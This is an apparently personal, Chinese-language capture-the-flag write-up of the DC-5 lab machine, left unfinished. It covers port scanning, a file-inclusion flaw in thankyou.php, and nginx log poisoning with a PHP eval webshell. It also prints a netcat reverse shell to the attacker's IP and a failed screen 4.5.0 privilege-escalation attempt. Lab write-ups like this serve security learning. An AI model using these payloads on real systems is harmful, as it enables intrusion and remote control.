DC5靶场

信息收集

sudo arp-scan -l

ip为192.168.146.143

端口扫描

-p-全端口扫描

-sS( 使用TCP的SYN进行扫描)

nmap -A (全面扫描、列出端口等信息)-sV(服务版本) 192.168.146.143

开放了80 111 49964端口

web服务器是nginx 1.6.2

111端口运行的是rpcbind服务

rpcbind是一个RPC服务(RPC是一种远程过程调用协议,规定了双方通信采用什么格式、以及数据如何传输),简单说就是

计算机 A 上的进程,调用另外一台计算机 B 上的进程,其中 A 上的调用进程被挂起,而 B 上的被调用进程开始执行,当值返回给 A 时,A 进程继续执行。调用方可以通过使用参数将信息传送给被调用方,而后可以通过传回的结果得到信息

2-4 (RPC #100000):这表示rpcbind服务的版本范围是2到4,RPC #100000是该服务的RPC程序编号

100000 2,3,4 111/tcp rpcbind表明RPC编号为100000的服务(即rpcbind)的版本2、3、4在TCP协议的111端口上可用

另一个RPC编号为100024,服务名为status
100024 1 35680/udp status 版本1的status服务在UDP协议的35680端口上可用

去访问dc5的网页看看,没有登录框,只是一堆文字

contact有一个留言板、随便写点啥、提交

发现下面的Copyright © 2019变了

隐藏目录扫描

用dirb 

根据用户提供的字典,对目标网站目录进行暴力猜测。它会尝试以递归方式进行爆破,以发现更多的路径

dirb http://192.168.146.143/(网址)  字典路径(没有的话就使用默认字典)

只发现了个index.php(就是网站的初始目录)

加上 -X .php  使用指定的 扩展名 进行搜索

多了footer.php

tankyou.php

访问footer.php  随着刷新、下面的Copyright ©2019会变

符号©,是英文Copyright(版权)的简写,代表作者版权所有声明

如果只包含一个年份,说明这是第一次发布。如果包含时间段,则第一个年份为第一次发布的年份,第二个是当前版本发布的年份

tankyou.php,随着刷新、下面的Copyright ©2019会变

网站的版权年份会变,应该是有漏洞

看了其它博客知道存在文件包含漏洞

文件包含:

把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件

程序开发人员一般希望代码更灵活,将被包含的文件设置为变量,用来进行动态调用

文件包含漏洞:用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过

猜测 tankyou.php里调用了footer.php函数文件

现在要找到这个变量  把变量值设为敏感文件路径或者包含函数的文件(需要上传)

烦死了、网页就不能自动保存嘛、写的全没了

变量为file 根据经验猜的

输入地址,看图片url,没有年份

再输入,看图片url,有年份

再输入,看图片url

查看源代码 有一个dc用户 但没有找到登录框 先放着

nginx有/var/log/nginx/access.log(访问日志)

和/var/log/nginx/error.log(错误日志)

查看

include(/etc/shadow) 刚刚的输入被记录了

写入一句话木马

<?php @eval($_POST['pass']);?>

(php的代码要写在<?php ?>里面,服务器才能认出来这是php代码

@符号的意思是不报错,即使执行错误,也不报错

$_POST['a']; 的意思就是a这个变量,用post的方法接收。(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据)

eval()把字符串作为PHP代码执行)

日志里边记录了, 所以木马就是错误日志

路径

http://192.168.146.143/thankyou.php?file=/var/log/nginx/error.log

下载蚁剑参考安装蚁剑

连接没成功

如果直接在地址栏输入会被浏览器编码,这样的话一句话木马就不能发挥作用了

抓包结果为

修改

成功看到

连接木马

还是没成功 明天写

发现原因了,我把php @的空格删了  再抓包修改 就能用蚁剑连接成功

连接密码就是 <?php @eval($_POST['123']);?>中的123

点测试连接 然后点击添加

 右键在此打开终端

反弹shell

在kali终端先监听一个端口4444

 nc -lvp 4444 

-l:nc将处于侦听模式,nc被当作server,侦听并接受连接

-v:  输出交互或出错信息

-p:本地端口

然后在蚁剑终端 执行nc -e /bin/bash 192.168.146.140(kali主机ip) 4444 

使用 netcat 连接到 IP 地址为 192.168.146.140、端口号为 4444 的计算机,并在连接成功后,在该计算机上启动一个 bash shell

交互式shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

试试suid提权

find /  -perm -4000 2>/dev/null

能够知道screen 版本为4.5.0

搜索这个版本漏洞 有两个都是关于提权的

第一漏洞文件路径/usr/share/exploitdb/exploits/linux/local/41154.sh

查看

看第二个漏洞文件

当我用第二个 执行id与漏洞文件结果不一样

只能用第一个了

在kali创建一个libhax.c文件

编译

删除.c文件

创建rootshell.c文件

然后编译

接着创建dc5.sh #!/bin/bash 指明使用哪个解释器

先set ff=unix 再保存  是为了防止脚本的格式错误

打开蚁剑,在/tmp目录 上传这三个文件

/tmp目录权限通常设置为777 

在靶机的shell里边chmod +x dc5.sh  可执行权限

运行./dc5.sh

发现不行哦、其他博主这个方法能行

直接用蚁剑上传41154.sh

或者开启http服务、用wget

也不行,一样的问题

/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)

应该是要升级glibc库或Linux系统

再试试git提权

没法用

有点像rbash用户

查看系统信息

还有之前的信息收集端口也没用

不写了

  • 17
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值